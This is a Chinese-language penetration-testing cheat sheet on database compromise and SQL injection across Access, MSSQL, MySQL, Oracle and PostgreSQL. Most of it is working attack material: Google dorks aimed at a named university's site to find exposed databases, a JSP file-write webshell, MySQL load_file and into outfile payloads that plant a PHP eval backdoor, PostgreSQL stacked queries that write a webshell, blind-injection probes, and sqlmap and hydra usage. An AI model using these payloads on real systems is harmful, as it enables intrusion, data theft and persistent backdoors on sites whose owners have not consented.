渗透:数据库&SQL注入

网页自动跳转:

<meta http-equiv="refresh" content="5;url=http://baidu.com" />

暴库利用方法:

/inc/conn.asp  中有连接数据库的路径信息

to parent directory  去父路径

直接下载数据库,搜索:

intext:to parent directory+intext:mdb site:fudan.edu.cn

绕过数据库防下载:

#sdsf.mdb -> %23sdsf.mdb

高级暴库:

inurl: ./..admin../..add..

inurl: ./..admin../..del..

inurl: /.asp<id=<%<%<%

密码爆破工具:

hydra,PKAV HTTP Fuzzer

access注入

Access数据库

ASP中连接字符串应用:

”Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;“

dim conn

set conn = server.createObject("adodb.connection")

conn.open  "provider=Microsoft.ACE.OLEDB.12.0;"&"data source="&server.mapath("bbs.mdb")

破障Access数据库查看器

Mssql数据库

TCP 0.0.0.0:1433

数据库名称后缀:*.mdf  日志文件后缀:*.ldf

mssql数据库权限:

sa权限:数据库操作,文件管理,命令执行,注册表读取,system

db权限:文件管理,数据库操作,users-administrators

public权限:数据库操作,guest-users

调用代码:

<%

  set conn = server.createObject("adodb.connection")

  conn.open "provider=sqloledb;source=local;uid=sa;pwd=***;database=database-name"

%>

一句话jsp:

<% if(request.getParameter("f")!=null)

  (new java.IO.FileOutPutStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

mysql数据库

相对access数据库来说,mysql更加多样化,存放数据更多。使用语言:php。

读函数:load_file()

load_file('d:/www/xx/index.php') -> 通过绝对路径来读取网页源文件,如果地址使用十六进制则不用加引号

例:and 1=2 union select 1,load_flie('C:\Inetpub\wwwroot\mysql-sql\inc\set_sql.php'),3,4,5,6,7,8,9,10

如果系统是windows server2003IIS可以读取c:/windows/system32/inetsrv/metabase.xml

写入函数:into outfile

and 1=2 union select 1,"<?php@eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cracer.txt'

写一句话拿后门

oracle数据库

适合于大规模网站

and (select count(*) from admin) <>0 如果没有报错则说明存在这个表

and (selcet count(user) from admin) <>0 判断列名

and (select count(*) from admin where lengh(name)>=5)=1判断管理员账号长度

and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1 判断第一个字符的ascii值范围

postgreaql数据库

and 1=cast(version() as int) 获取数据库版本信息

and 1=cast(user||123 as int) 获取当前用户名称 postgres用户相当于root用户权限

;create table xxx(w text not null); 创建表

;insert into xxx values($$<?php@eval($_POST[cracer]);?>$$); 向表中插入一句话木马

;copy x(w) to $$/home/kasugai_tochi/public_html/script/cracer.php$$; 将一句话木马保存为php文件

get/post注入

测试工具:

pangolin,sqlmap -u http://testasp.vulnweb.com/login.asp --data "tfUPass=1&tfUName=1"

http://test.com/page.asp?id=30 and 1=<%eval request("s")%> 当网站会记录输入信息时,可以尝试写入脚本

cookie注入

绕过防注入系统,cookie注入的形成有两个必须条件,条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2是:需要程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。

原文地址:https://www.cnblogs.com/bl8ck/p/9497944.html